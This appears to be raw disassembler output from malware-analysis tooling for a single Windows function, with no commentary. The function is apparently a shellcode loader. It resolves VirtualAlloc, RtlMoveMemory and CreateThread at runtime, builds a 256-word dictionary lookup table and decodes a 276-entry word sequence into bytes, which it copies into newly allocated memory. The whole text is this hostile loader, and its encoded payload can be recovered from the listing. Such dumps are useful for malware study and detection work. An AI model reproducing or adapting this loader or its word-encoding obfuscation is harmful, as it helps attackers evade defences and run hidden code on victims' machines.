Function at 0x140001070
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1110]
mov eax, 0x1210
call fcn.140003900
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1100], rax
lea rcx, str.Kernel32.dll
mov dword [rbp + 0xfd0], 0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.VirtualAlloc
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RtlMoveMemory
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.VirtualProtect
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.CreateThread
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.WaitForSingleObject
mov rcx, rbx
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
lea rax, str.salem
mov qword [rsp + 0x30], rax
lea rax, str.bands
mov qword [rsp + 0x38], rax
lea rax, str.trash
mov qword [rsp + 0x40], rax
lea rax, str.mixed
mov qword [rsp + 0x48], rax
lea rax, str.texas
mov qword [rsp + 0x50], rax
lea rax, str.scary
mov qword [rsp + 0x58], rax
lea rax, str.lexus
mov qword [rsp + 0x60], rax
lea rax, str.risks
mov qword [rsp + 0x68], rax
lea rax, str.oasis
mov qword [rsp + 0x70], rax
lea rax, str.berry
mov qword [rsp + 0x78], rax
lea rax, str.items
mov qword [rbp - 0x80], rax
lea rax, str.taxes
mov qword [rbp - 0x78], rax
lea rax, str.qatar
mov qword [rbp - 0x70], rax
lea rax, str.baker
mov qword [rbp - 0x68], rax
lea rax, str.glenn
mov qword [rbp - 0x60], rax
lea rax, str.grams
mov qword [rbp - 0x58], rax
lea rax, str.steve
mov qword [rbp - 0x50], rax
lea rax, str.sonic
mov qword [rbp - 0x48], rax
lea rax, str.image
mov qword [rbp - 0x40], rax
lea rax, str.right
mov qword [rbp - 0x38], rax
lea rax, str.roses
mov qword [rbp - 0x30], rax
lea rax, str.bring
mov qword [rbp - 0x28], rax
lea rax, str.flash
mov qword [rbp - 0x20], rax
lea rax, str.cisco
mov qword [rbp - 0x18], rax
lea rax, str.proxy
mov qword [rbp - 0x10], rax
lea rax, str.acute
mov qword [rbp - 8], rax
lea rax, str.poker
mov qword [rbp], rax
lea rax, str.eddie
mov qword [rbp + 8], rax
lea rax, str.piano
mov qword [rbp + 0x10], rax
lea rax, str.lodge
mov qword [rbp + 0x18], rax
lea rax, str.amber
mov qword [rbp + 0x20], rax
lea rax, str.stuck
mov qword [rbp + 0x28], rax
lea rax, str.tasks
mov qword [rbp + 0x30], rax
lea rax, str.lucia
mov qword [rbp + 0x38], rax
lea rax, str.samba
mov qword [rbp + 0x40], rax
lea rax, str.bonds
mov qword [rbp + 0x48], rax
lea rax, str.katie
mov qword [rbp + 0x50], rax
lea rax, str.tubes
mov qword [rbp + 0x58], rax
lea rax, str.meant
mov qword [rbp + 0x60], rax
lea rax, str.claim
mov qword [rbp + 0x68], rax
lea rax, str.float
mov qword [rbp + 0x70], rax
lea rax, str.sites
mov qword [rbp + 0x78], rax
lea rax, str.broke
mov qword [rbp + 0x80], rax
lea rax, str.disks
mov qword [rbp + 0x88], rax
lea rax, str.toner
mov qword [rbp + 0x90], rax
lea rax, str.squad
mov qword [rbp + 0x98], rax
lea rax, str.buses
mov qword [rbp + 0xa0], rax
lea rax, str.irish
mov qword [rbp + 0xa8], rax
lea rax, str.allan
mov qword [rbp + 0xb0], rax
lea rax, str.flags
mov qword [rbp + 0xb8], rax
lea rax, str.jesse
mov qword [rbp + 0xc0], rax
lea rax, str.haven
mov qword [rbp + 0xc8], rax
lea rax, str.magic
mov qword [rbp + 0xd0], rax
lea rax, str.roles
mov qword [rbp + 0xd8], rax
lea rax, str.hopes
mov qword [rbp + 0xe0], rax
lea rax, str.rapid
mov qword [rbp + 0xe8], rax
lea rax, str.harry
mov qword [rbp + 0xf0], rax
lea rax, str.night
mov qword [rbp + 0xf8], rax
lea rax, str.faced
mov qword [rbp + 0x100], rax
lea rax, str.build
mov qword [rbp + 0x108], rax
lea rax, str.civil
mov qword [rbp + 0x110], rax
lea rax, str.which
mov qword [rbp + 0x118], rax
lea rax, str.elite
mov qword [rbp + 0x120], rax
lea rax, str.clubs
mov qword [rbp + 0x128], rax
lea rax, str.utils
mov qword [rbp + 0x130], rax
lea rax, str.meyer
mov qword [rbp + 0x138], rax
lea rax, str.nancy
mov qword [rbp + 0x140], rax
lea rax, str.nylon
mov qword [rbp + 0x148], rax
lea rax, str.reply
mov qword [rbp + 0x150], rax
lea rax, str.bingo
mov qword [rbp + 0x158], rax
lea rax, str.extra
mov qword [rbp + 0x160], rax
lea rax, str.shark
mov qword [rbp + 0x168], rax
lea rax, str.apple
mov qword [rbp + 0x170], rax
lea rax, str.ports
mov qword [rbp + 0x178], rax
lea rax, str.adopt
mov qword [rbp + 0x180], rax
lea rax, str.roman
mov qword [rbp + 0x188], rax
lea rax, str.inner
mov qword [rbp + 0x190], rax
lea rax, str.tours
mov qword [rbp + 0x198], rax
lea rax, str.angel
mov qword [rbp + 0x1a0], rax
lea rax, str.error
mov qword [rbp + 0x1a8], rax
lea rax, str.pipes
mov qword [rbp + 0x1b0], rax
lea rax, str.steal
mov qword [rbp + 0x1b8], rax
lea rax, str.foods
mov qword [rbp + 0x1c0], rax
lea rax, str.takes
mov qword [rbp + 0x1c8], rax
lea rax, str.dylan
mov qword [rbp + 0x1d0], rax
lea rax, str.rally
mov qword [rbp + 0x1d8], rax
lea rax, str.spies
mov qword [rbp + 0x1e0], rax
lea rax, str.acids
mov qword [rbp + 0x1e8], rax
lea rax, str.dozen
mov qword [rbp + 0x1f0], rax
lea rax, str.julie
mov qword [rbp + 0x1f8], rax
lea rax, str.coral
mov qword [rbp + 0x200], rax
lea rax, str.likes
mov qword [rbp + 0x208], rax
lea rax, str.renew
mov qword [rbp + 0x210], rax
lea rax, str.alarm
mov qword [rbp + 0x218], rax
lea rax, str.loves
mov qword [rbp + 0x220], rax
lea rax, str.lamps
mov qword [rbp + 0x228], rax
lea rax, str.holds
mov qword [rbp + 0x230], rax
lea rax, str.solve
mov qword [rbp + 0x238], rax
lea rax, str.delhi
mov qword [rbp + 0x240], rax
lea rax, str.river
mov qword [rbp + 0x248], rax
lea rax, str.balls
mov qword [rbp + 0x250], rax
lea rax, str.derby
mov qword [rbp + 0x258], rax
lea rax, str.score
mov qword [rbp + 0x260], rax
lea rax, str.slope
mov qword [rbp + 0x268], rax
lea rax, str.climb
mov qword [rbp + 0x270], rax
lea rax, str.buyer
mov qword [rbp + 0x278], rax
lea rax, str.least
mov qword [rbp + 0x280], rax
lea rax, str.stand
mov qword [rbp + 0x288], rax
lea rax, str.crowd
mov qword [rbp + 0x290], rax
lea rax, str.world
mov qword [rbp + 0x298], rax
lea rbx, str.moore
lea rax, str.brush
mov qword [rbp + 0x388], rbx
mov qword [rbp + 0x2a0], rax
lea rax, str.alone
mov qword [rbp + 0x2a8], rax
lea rax, str.while
mov qword [rbp + 0x2b0], rax
lea rax, str.stock
mov qword [rbp + 0x2b8], rax
lea rax, str.dealt
mov qword [rbp + 0x2c0], rax
lea rax, str.suits
mov qword [rbp + 0x2c8], rax
lea rax, str.firms
mov qword [rbp + 0x2d0], rax
lea rax, str.shows
mov qword [rbp + 0x2d8], rax
lea rax, str.meals
mov qword [rbp + 0x2e0], rax
lea rax, str.cream
mov qword [rbp + 0x2e8], rax
lea rax, str.brain
mov qword [rbp + 0x2f0], rax
lea rax, str.named
mov qword [rbp + 0x2f8], rax
lea rax, str.phase
mov qword [rbp + 0x300], rax
lea rax, str.paxil
mov qword [rbp + 0x308], rax
lea rax, str.white
mov qword [rbp + 0x310], rax
lea rax, str.fifty
mov qword [rbp + 0x318], rax
lea rax, str.paths
mov qword [rbp + 0x320], rax
lea rax, str.nikon
mov qword [rbp + 0x328], rax
lea rax, str.steam
mov qword [rbp + 0x330], rax
lea rax, str.msgid
mov qword [rbp + 0x338], rax
lea rax, str.toxic
mov qword [rbp + 0x340], rax
lea rax, str.crime
mov qword [rbp + 0x348], rax
lea rax, str.blood
mov qword [rbp + 0x350], rax
lea rax, str.fatty
mov qword [rbp + 0x358], rax
lea rax, str.islam
mov qword [rbp + 0x360], rax
lea rax, str.fewer
mov qword [rbp + 0x368], rax
lea rax, str.casey
mov qword [rbp + 0x370], rax
lea rax, str.forge
mov qword [rbp + 0x378], rax
lea rax, str.rouge
mov qword [rbp + 0x380], rax
lea rax, str.width
mov qword [rbp + 0x390], rax
lea rax, str.metal
mov qword [rbp + 0x398], rax
lea rax, str.brook
mov qword [rbp + 0x3a0], rax
lea rax, str.sense
mov qword [rbp + 0x3a8], rax
lea rax, str.wants
mov qword [rbp + 0x3b0], rax
lea rax, str.sluts
mov qword [rbp + 0x3b8], rax
lea rax, str.rated
mov qword [rbp + 0x3c0], rax
lea rax, str.spend
mov qword [rbp + 0x3c8], rax
lea rax, str.trees
mov qword [rbp + 0x3d0], rax
lea rax, str.laura
mov qword [rbp + 0x3d8], rax
lea rax, str.terms
mov qword [rbp + 0x3e0], rax
lea rax, str.milan
mov qword [rbp + 0x3e8], rax
lea rax, str.sheer
mov qword [rbp + 0x3f0], rax
lea rax, str.opens
mov qword [rbp + 0x3f8], rax
lea rax, str.egypt
mov qword [rbp + 0x400], rax
lea rax, str.crash
mov qword [rbp + 0x408], rax
lea rax, str.merry
mov qword [rbp + 0x410], rax
lea rax, str.saudi
mov qword [rbp + 0x418], rax
lea rax, str.modem
mov qword [rbp + 0x420], rax
lea rax, str.euros
mov qword [rbp + 0x428], rax
lea rax, str.goods
mov qword [rbp + 0x430], rax
lea rax, str.sheet
mov qword [rbp + 0x438], rax
lea rax, str.diana
mov qword [rbp + 0x440], rax
lea rax, str.kelly
mov qword [rbp + 0x448], rax
lea rax, str.bucks
mov qword [rbp + 0x450], rax
lea rax, str.apnic
mov qword [rbp + 0x458], rax
lea rax, str.cloth
mov qword [rbp + 0x460], rax
lea rax, str.noise
mov qword [rbp + 0x468], rax
lea rax, str.yacht
mov qword [rbp + 0x470], rax
lea rax, str.grill
mov qword [rbp + 0x478], rax
lea rax, str.frank
mov qword [rbp + 0x480], rax
lea rax, str.proof
mov qword [rbp + 0x488], rax
lea rax, str.chess
mov qword [rbp + 0x490], rax
lea rax, str.candy
mov qword [rbp + 0x498], rax
lea rax, str.focus
mov qword [rbp + 0x4a0], rax
lea rax, str.puppy
mov qword [rbp + 0x4a8], rax
lea rax, str.ghost
mov qword [rbp + 0x4b0], rax
lea rax, str.strap
mov qword [rbp + 0x4b8], rax
lea rax, str.liver
mov qword [rbp + 0x4c0], rax
lea rax, str.camel
mov qword [rbp + 0x4c8], rax
lea rax, str.exact
mov qword [rbp + 0x4d0], rax
lea rax, str.tears
mov qword [rbp + 0x4d8], rax
lea rax, str.leone
mov qword [rbp + 0x4e0], rax
lea rax, str.tunes
mov qword [rbp + 0x4e8], rax
lea rax, str.after
mov qword [rbp + 0x4f0], rax
lea rax, str.storm
mov qword [rbp + 0x4f8], rax
lea rax, str.fails
mov qword [rbp + 0x500], rax
lea rax, str.grand
mov qword [rbp + 0x508], rax
lea rax, str.force
mov qword [rbp + 0x510], rax
lea rax, str.feeds
mov qword [rbp + 0x518], rax
lea rax, str.watch
mov qword [rbp + 0x520], rax
lea r10, str.keeps
lea rax, str.share
mov qword [rbp + 0x5c0], r10
mov qword [rbp + 0x528], rax
lea r11, str.lease
lea rax, str.sugar
mov qword [rbp + 0x640], r11
mov qword [rbp + 0x530], rax
lea rbx, str.other
lea rax, str.inter
mov qword [rbp + 0x648], rbx
mov qword [rbp + 0x538], rax
lea r8, str.guest
lea rax, str.wings
mov qword [rbp + 0x650], r8
mov qword [rbp + 0x540], rax
lea rax, str.holes
mov qword [rbp + 0x548], rax
lea rax, str.acres
mov qword [rbp + 0x550], rax
lea rax, str.girls
mov qword [rbp + 0x558], rax
lea rax, str.grant
mov qword [rbp + 0x560], rax
lea rax, str.plate
mov qword [rbp + 0x568], rax
lea rax, str.swiss
mov qword [rbp + 0x570], rax
lea rax, str.hence
mov qword [rbp + 0x578], rax
lea rax, str.scoop
mov qword [rbp + 0x580], rax
lea rax, str.socks
mov qword [rbp + 0x588], rax
lea rax, str.salon
mov qword [rbp + 0x590], rax
lea rax, str.tracy
mov qword [rbp + 0x598], rax
lea rax, str.happy
mov qword [rbp + 0x5a0], rax
lea rax, str.cross
mov qword [rbp + 0x5a8], rax
lea rax, str.works
mov qword [rbp + 0x5b0], rax
lea rax, str.talks
mov qword [rbp + 0x5b8], rax
lea rax, str.ocean
mov qword [rbp + 0x5c8], rax
lea rax, str.about
mov qword [rbp + 0x5d0], rax
lea rax, str.lucas
mov qword [rbp + 0x5d8], rax
lea rax, str.solar
mov qword [rbp + 0x5e0], rax
lea rax, str.honor
mov qword [rbp + 0x5e8], rax
lea rax, str.value
mov qword [rbp + 0x5f0], rax
lea rax, str.pound
mov qword [rbp + 0x5f8], rax
lea rax, str.minds
mov qword [rbp + 0x600], rax
lea rax, str.every
mov qword [rbp + 0x608], rax
lea rax, str.lives
mov qword [rbp + 0x610], rax
lea rax, str.paris
mov qword [rbp + 0x618], rax
lea rax, str.opera
mov qword [rbp + 0x620], rax
lea rax, str.elder
mov qword [rbp + 0x628], rax
lea rax, str.beach
mov qword [rbp + 0x630], rax
lea rax, str.stuff
mov qword [rbp + 0x638], rax
lea rax, str.tires
mov qword [rbp + 0x658], rax
lea rax, str.small
mov qword [rbp + 0x660], rax
lea rax, str.pixel
mov qword [rbp + 0x748], r8
mov qword [rbp + 0x668], rax
lea rcx, str.greek
lea rax, str.fires
mov qword [rbp + 0x710], rcx
mov qword [rbp + 0x678], rax
lea rdx, str.essex
lea rax, str.enjoy
mov qword [rbp + 0x730], rcx
mov qword [rbp + 0x680], rax
lea rcx, str.meyer
lea rax, str.sheep
mov qword [rbp + 0x670], rdx
mov qword [rbp + 0x688], rax
lea r9, str.watts
lea rax, str.howto
mov qword [rbp + 0x758], rdx
mov qword [rbp + 0x690], rax
lea r13, str.tommy
lea rax, str.pasta
mov qword [rbp + 0x780], rcx
mov qword [rbp + 0x6a0], rax
lea rdx, str.sugar
lea rax, str.guide
mov qword [rbp + 0x790], rcx
mov qword [rbp + 0x6a8], rax
lea rcx, str.pipes
lea rax, str.fight
mov qword [rbp + 0x698], r9
mov qword [rbp + 0x6b0], rax
lea r8, str.foods
lea rax, str.skype
mov qword [rbp + 0x6b8], r13
mov qword [rbp + 0x6c0], rax
lea rax, str.audio
mov qword [rbp + 0x6c8], rax
lea rax, str.count
mov qword [rbp + 0x6d0], rax
lea rax, str.cheat
mov qword [rbp + 0x6d8], rax
lea rax, str.kathy
mov qword [rbp + 0x6e0], rax
lea rax, str.allen
mov qword [rbp + 0x6e8], rax
lea rax, str.bloom
mov qword [rbp + 0x6f0], rax
lea rax, str.teeth
mov qword [rbp + 0x6f8], rax
lea rax, str.beads
mov qword [rbp + 0x700], rax
lea rax, str.lower
mov qword [rbp + 0x708], rax
lea rax, str.bytes
mov qword [rbp + 0x718], rax
lea rax, str.arrow
mov qword [rbp + 0x720], rax
lea rax, str.helps
mov qword [rbp + 0x728], rax
lea rax, str.apple
mov qword [rbp + 0x738], rax
lea rax, str.crime
mov qword [rbp + 0x740], rax
lea rax, str.fight
mov qword [rbp + 0x750], rax
lea rax, str.salem
mov qword [rbp + 0x768], rax
mov qword [rbp + 0x770], rax
mov qword [rbp + 0x778], rax
lea rax, str.steal
mov qword [rbp + 0x788], rax
mov qword [rbp + 0x7a8], rax
lea rax, str.spies
mov qword [rbp + 0x7b0], rax
lea rax, str.apple
mov qword [rbp + 0x7b8], rax
lea rax, str.flags
mov qword [rbp + 0x7c0], rax
mov qword [rbp + 0x760], rdx
mov qword [rbp + 0x798], rcx
mov qword [rbp + 0x7a0], r8
lea rax, str.derby
mov qword [rbp + 0x7e8], r8
mov qword [rbp + 0x7d0], rax
lea r13, str.bands
lea rax, str.apple
mov qword [rbp + 0x808], r8
mov qword [rbp + 0x7d8], rax
lea rax, str.holds
mov qword [rbp + 0x7f0], rax
lea rax, str.apple
mov qword [rbp + 0x7f8], rax
lea rax, str.proxy
mov qword [rbp + 0x810], rax
lea rax, str.apple
mov qword [rbp + 0x818], rax
lea rax, str.tasks
mov qword [rbp + 0x830], rax
lea rax, str.dealt
mov qword [rbp + 0x848], rax
lea rax, str.grams
mov qword [rbp + 0x860], rax
lea rax, str.tunes
mov qword [rbp + 0x868], rax
lea rax, str.adopt
mov qword [rbp + 0x870], rax
mov qword [rbp + 0x878], rax
lea rax, str.tours
mov qword [rbp + 0x880], rax
lea rax, str.flags
mov qword [rbp + 0x888], rax
mov qword [rbp + 0x8a0], rax
lea rax, str.chess
mov qword [rbp + 0x8b0], rax
lea rax, str.civil
mov qword [rbp + 0x8b8], rax
lea rax, str.solve
mov qword [rbp + 0x8c0], rax
lea rax, str.white
mov qword [rbp + 0x8c8], rax
lea rax, str.trash
mov qword [rbp + 0x8d0], rax
lea rax, str.toner
mov qword [rbp + 0x8d8], rax
lea rax, str.tasks
mov qword [rbp + 0x8e0], rax
lea rax, str.meyer
mov qword [rbp + 0x8e8], rax
lea rax, str.baker
mov qword [rbp + 0x900], rax
lea rax, str.meyer
mov qword [rbp + 0x828], r8
lea r8, str.apple
mov qword [rbp + 0x908], rax
mov qword [rbp + 0x938], rax
lea rax, str.steal
mov qword [rbp + 0x7c8], r10
lea r10, str.moore
mov qword [rbp + 0x838], r8
mov qword [rbp + 0x850], rcx
lea rcx, str.hence
mov qword [rbp + 0x858], r8
mov qword [rbp + 0x898], r8
lea r8, str.inter
mov qword [rbp + 0x920], r11
lea r11, str.apple
mov qword [rbp + 0x928], r9
lea r9, str.foods
mov qword [rbp + 0x940], rax
mov qword [rbp + 0x7e0], r10
mov qword [rbp + 0x800], r10
mov qword [rbp + 0x820], r10
mov qword [rbp + 0x840], r10
mov qword [rbp + 0x890], rcx
mov qword [rbp + 0x8a8], rdx
mov qword [rbp + 0x8f0], r8
mov qword [rbp + 0x8f8], rcx
mov qword [rbp + 0x910], r13
mov qword [rbp + 0x918], r8
mov qword [rbp + 0x930], r9
mov qword [rbp + 0x948], r11
mov qword [rbp + 0x950], r10
lea rax, str.tasks
mov qword [rbp + 0x958], r9
mov qword [rbp + 0x960], rax
lea r9, str.works
lea rax, str.nancy
mov qword [rbp + 0x968], r10
mov qword [rbp + 0x970], rax
lea rax, str.civil
mov qword [rbp + 0x978], rax
lea rax, str.bands
mov qword [rbp + 0x988], rax
lea rax, str.steam
mov qword [rbp + 0x9a0], rax
lea rax, str.salem
mov qword [rbp + 0x9b0], rax
mov qword [rbp + 0x9b8], rax
mov qword [rbp + 0x9c0], rax
lea rax, str.apple
mov qword [rbp + 0x9c8], rax
lea rax, str.fatty
mov qword [rbp + 0x9d0], rax
lea rax, str.firms
mov qword [rbp + 0x9e0], rax
lea rax, str.slope
mov qword [rbp + 0x9e8], rax
lea rax, str.apple
mov qword [rbp + 0x9f0], rax
lea rax, str.bands
mov qword [rbp + 0x9f8], rax
lea rax, str.pipes
mov qword [rbp + 0xa08], rax
lea rax, str.apple
mov qword [rbp + 0xa18], rax
lea rax, str.proxy
mov qword [rbp + 0xa20], rax
lea rax, str.reply
mov qword [rbp + 0xa28], rax
lea rax, str.utils
mov qword [rbp + 0xa38], rax
lea rax, str.tasks
mov qword [rbp + 0xa40], rax
lea rax, str.ports
mov qword [rbp + 0xa48], rax
lea rax, str.bands
mov qword [rbp + 0xa50], rax
lea rax, str.spies
mov qword [rbp + 0xa68], rax
lea rax, str.apple
mov qword [rbp + 0xa70], rax
lea rax, str.meyer
mov qword [rbp + 0xa88], rax
lea rax, str.magic
mov qword [rbp + 0xa98], rax
lea rax, str.apple
mov qword [rbp + 0xaa8], rax
lea rax, str.bands
mov qword [rbp + 0xab0], rax
lea rax, str.solar
mov qword [rbp + 0xab8], rax
lea rax, str.tours
mov qword [rbp + 0xac0], rax
lea rax, str.flags
mov qword [rbp + 0x980], r11
lea r11, str.casey
mov qword [rbp + 0x998], r10
mov qword [rbp + 0xa10], r10
mov qword [rbp + 0xa30], r10
lea r10, str.helps
mov qword [rbp + 0xa60], rbx
lea rbx, str.moore
mov qword [rbp + 0xac8], rax
mov qword [rbp + 0x990], r9
mov qword [rbp + 0x9a8], r11
mov qword [rbp + 0x9d8], rdx
mov qword [rbp + 0xa00], r9
mov qword [rbp + 0xa58], r9
mov qword [rbp + 0xa78], r10
mov qword [rbp + 0xa80], rcx
mov qword [rbp + 0xa90], rbx
mov qword [rbp + 0xaa0], r11
mov qword [rbp + 0xad0], rcx
mov qword [rbp + 0xae8], rdx
lea rax, str.apple
mov qword [rbp + 0xad8], rax
lea rdx, str.meyer
lea rax, str.flags
mov qword [rbp + 0xaf8], rdx
mov qword [rbp + 0xae0], rax
lea r13, str.tommy
lea rax, str.chess
mov qword [rbp + 0xb18], rdx
mov qword [rbp + 0xaf0], rax
lea rdx, str.shows
lea rax, str.baker
mov qword [rbp + 0xb00], r8
mov qword [rbp + 0xb10], rax
lea rax, str.bands
mov qword [rbp + 0xb20], rax
lea rax, str.harry
mov qword [rbp + 0xb30], rax
lea rax, str.inner
mov qword [rbp + 0xb50], rax
mov qword [rbp + 0xb60], rax
lea rax, str.katie
mov qword [rbp + 0xb68], rax
lea rax, str.oasis
mov qword [rbp + 0xb70], rax
lea rax, str.bingo
mov qword [rbp + 0xb78], rax
lea rax, str.night
mov qword [rbp + 0xb80], rax
lea rax, str.talks
mov qword [rbp + 0xb88], rax
lea rax, str.value
mov qword [rbp + 0xb98], rax
lea rax, str.utils
mov qword [rbp + 0xbb8], rax
lea rax, str.katie
mov qword [rbp + 0xbc0], rax
lea rax, str.bands
mov qword [rbp + 0xbd0], rax
lea rax, str.score
mov qword [rbp + 0xbe0], rax
lea rax, str.meyer
mov qword [rbp + 0xbe8], rax
lea rax, str.qatar
mov qword [rbp + 0xbf8], rax
lea rax, str.apple
mov qword [rbp + 0xc00], rax
lea rax, str.utils
mov qword [rbp + 0xc18], rax
lea rax, str.piano
mov qword [rbp + 0xc20], rax
lea rax, str.meyer
mov qword [rbp + 0xb28], r8
lea r8, str.mixed
mov qword [rbp + 0xb40], rdx
mov qword [rbp + 0xb90], rdx
lea rdx, str.ports
mov qword [rbp + 0xc40], rax
lea rax, str.texas
mov qword [rbp + 0xb08], rcx
lea rcx, str.beach
mov qword [rbp + 0xb48], r13
lea r13, str.reply
mov qword [rbp + 0xb58], r8
lea r8, str.dozen
mov qword [rbp + 0xbc8], rdx
mov qword [rbp + 0xc28], rdx
lea rdx, str.bands
mov qword [rbp + 0xc50], rax
mov qword [rbp + 0xb38], rcx
mov qword [rbp + 0xba0], r8
mov qword [rbp + 0xba8], r13
mov qword [rbp + 0xbb0], rbx
mov qword [rbp + 0xbd8], r9
mov qword [rbp + 0xbf0], rbx
mov qword [rbp + 0xc08], r13
mov qword [rbp + 0xc10], rbx
mov qword [rbp + 0xc30], rdx
mov qword [rbp + 0xc38], r9
mov qword [rbp + 0xc48], rbx
lea rax, str.apple
mov qword [rbp + 0xc68], rdx
mov qword [rbp + 0xc60], rax
lea rdx, str.coral
lea rax, str.loves
mov qword [rbp + 0xc70], r9
mov qword [rbp + 0xc98], rax
lea r9, str.meyer
lea rax, str.howto
mov qword [rbp + 0xc58], r11
mov qword [rbp + 0xcf0], rax
lea r13, str.julie
lea rax, str.tasks
mov qword [rbp + 0xc78], r9
mov qword [rbp + 0xcf8], rax
lea r11, str.crime
lea rax, str.meyer
mov qword [rbp + 0xc80], r8
mov qword [rbp + 0xd00], rax
lea rax, str.foods
mov qword [rbp + 0xd08], rax
lea rax, str.meyer
mov qword [rbp + 0xd28], rax
lea rax, str.image
mov qword [rbp + 0xd50], rax
lea rax, str.fires
mov qword [rbp + 0xd58], rax
lea rax, str.acids
mov qword [rbp + 0xd60], rax
lea rax, str.alarm
mov qword [rbp + 0xd80], rax
lea rax, str.salem
mov qword [rbp + 0xda0], rax
mov qword [rbp + 0xda8], rax
mov qword [rbp + 0xdb0], rax
mov qword [rbp + 0xdb8], rax
mov qword [rbp + 0xdc0], rax
mov qword [rbp + 0xdc8], rax
mov qword [rbp + 0xdd0], rax
lea rax, str.metal
mov qword [rbp + 0xde0], rax
mov qword [rbp + 0xde8], rax
lea rax, str.salem
mov qword [rbp + 0xe00], rax
mov qword [rbp + 0xe08], rax
lea rax, str.meyer
mov qword [rbp + 0xe10], rax
lea rax, str.flags
mov qword [rbp + 0xc88], r9
mov qword [rbp + 0xc90], r8
mov qword [rbp + 0xca8], rdx
mov qword [rbp + 0xcb0], r9
mov qword [rbp + 0xcb8], r8
mov qword [rbp + 0xcc0], r9
mov qword [rbp + 0xcd0], r9
lea r9, str.apple
mov qword [rbp + 0xcd8], rdx
mov qword [rbp + 0xd20], r8
lea r8, str.fails
mov qword [rbp + 0xd38], rdx
lea rdx, str.bands
mov qword [rbp + 0xe20], rax
mov qword [rbp + 0xca0], r13
mov qword [rbp + 0xcc8], r13
mov qword [rbp + 0xce0], r9
mov qword [rbp + 0xce8], r11
mov qword [rbp + 0xd10], r10
mov qword [rbp + 0xd18], rcx
mov qword [rbp + 0xd30], r13
mov qword [rbp + 0xd40], r9
mov qword [rbp + 0xd48], rbx
mov qword [rbp + 0xd68], r10
mov qword [rbp + 0xd70], r10
mov qword [rbp + 0xd78], r10
mov qword [rbp + 0xd88], r9
mov qword [rbp + 0xd90], r8
mov qword [rbp + 0xd98], rdx
mov qword [rbp + 0xdd8], r9
mov qword [rbp + 0xdf0], rdx
mov qword [rbp + 0xdf8], rdx
mov qword [rbp + 0xe18], r8
lea rax, str.fewer
mov qword [rbp + 0xe28], rbx
mov qword [rbp + 0xe38], rax
lea rdx, str.lucas
lea rax, str.fight
mov qword [rbp + 0xe80], r8
mov qword [rbp + 0xe58], rax
lea rbx, str.alone
lea rax, str.tears
mov qword [rbp + 0xf08], rcx
mov qword [rbp + 0xe60], rax
lea r9, str.grand
lea rax, str.diana
mov qword [rbp + 0xe30], rbx
mov qword [rbp + 0xe68], rax
lea r8, str.salem
lea rax, str.spies
mov qword [rbp + 0xe40], r10
mov qword [rbp + 0xe70], rax
lea rcx, str.river
lea rax, str.meyer
mov qword [rbp + 0xe48], rdx
mov qword [rbp + 0xe78], rax
lea rax, str.cloth
mov qword [rbp + 0xe88], rax
lea rax, str.laura
mov qword [rbp + 0xe90], rax
lea rax, str.feeds
mov qword [rbp + 0xe98], rax
lea rax, str.saudi
mov qword [rbp + 0xea0], rax
lea rax, str.apple
mov qword [rbp + 0xeb8], rax
lea rax, str.acres
mov qword [rbp + 0xec8], rax
lea rax, str.float
mov qword [rbp + 0xed0], rax
lea rax, str.civil
mov qword [rbp + 0xed8], rax
lea rax, str.lexus
mov qword [rbp + 0xee0], rax
lea rax, str.white
mov qword [rbp + 0xee8], rax
lea rax, str.items
mov qword [rbp + 0xef0], rax
lea rax, str.steam
mov qword [rbp + 0xef8], rax
lea rax, str.lower
mov qword [rbp + 0xf00], rax
lea rax, str.shows
mov qword [rbp + 0xf10], rax
lea rax, str.scary
mov qword [rbp + 0xf18], rax
lea rax, str.shark
mov qword [rbp + 0xf28], rax
lea rax, str.right
mov qword [rbp + 0xf30], rax
lea rax, str.dealt
mov qword [rbp + 0xf38], rax
lea rax, str.least
mov qword [rbp + 0xf48], rax
lea rax, str.meyer
mov qword [rbp + 0xf60], rax
lea rax, str.forge
mov qword [rbp + 0xf68], rax
lea rax, str.minds
mov qword [rbp + 0xf70], rax
lea rax, str.solve
mov qword [rbp + 0xf90], rax
lea rax, str.crowd
mov qword [rbp + 0xe50], r9
mov qword [rbp + 0xea8], r10
mov qword [rbp + 0xeb0], rdx
mov qword [rbp + 0xec0], r11
mov qword [rbp + 0xf20], r9
mov qword [rbp + 0xf40], rbx
mov qword [rbp + 0xf50], r8
mov qword [rbp + 0xf58], r13
mov qword [rbp + 0xf78], r10
mov qword [rbp + 0xf80], rdx
mov qword [rbp + 0xf88], rcx
mov qword [rbp + 0xf98], rax
xor edx, edx
mov qword [rbp + 0xfa0], rcx
lea rax, str.buses
lea rcx, str.derby
mov qword [rbp + 0xfa8], rax
lea rax, str.brain
mov qword [rbp + 0xfb0], rcx
mov qword [rbp + 0xfc0], rcx
lea rcx, [rbp + 0xfe0]
mov qword [rbp + 0xfc8], r8
mov r8d, 0x114
mov qword [rbp + 0xfb8], rax
call sub.VCRUNTIME140.dll_memset
xor ecx, ecx
mov edx, 0x114
mov r8d, 0x3000
lea r9d, [rcx + 4]
call rdi
xor r13d, r13d
mov rdi, rax
mov ebx, r13d
nop word [rax + rax]
lea rcx, [0x140004ac2]
call fcn.140001010
mov r10, qword [rbp + rbx*8 + 0x730]
mov r9d, r13d
nop word [rax + rax]
movsxd rax, r9d
mov r8, r10
mov rax, qword [rsp + rax*8 + 0x30]
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140002b63
inc rax
test ecx, ecx
jne 0x140002b50
test edx, edx
je 0x140002b75
inc r9d
cmp r9d, 0xff
jle 0x140002b40
jmp 0x140002b7d
mov byte [rbp + rbx + 0xfe0], r9b
inc rbx
cmp rbx, 0x114
jl 0x140002b20
mov r8d, 0x114
lea rdx, [rbp + 0xfe0]
mov rcx, rdi
call rsi
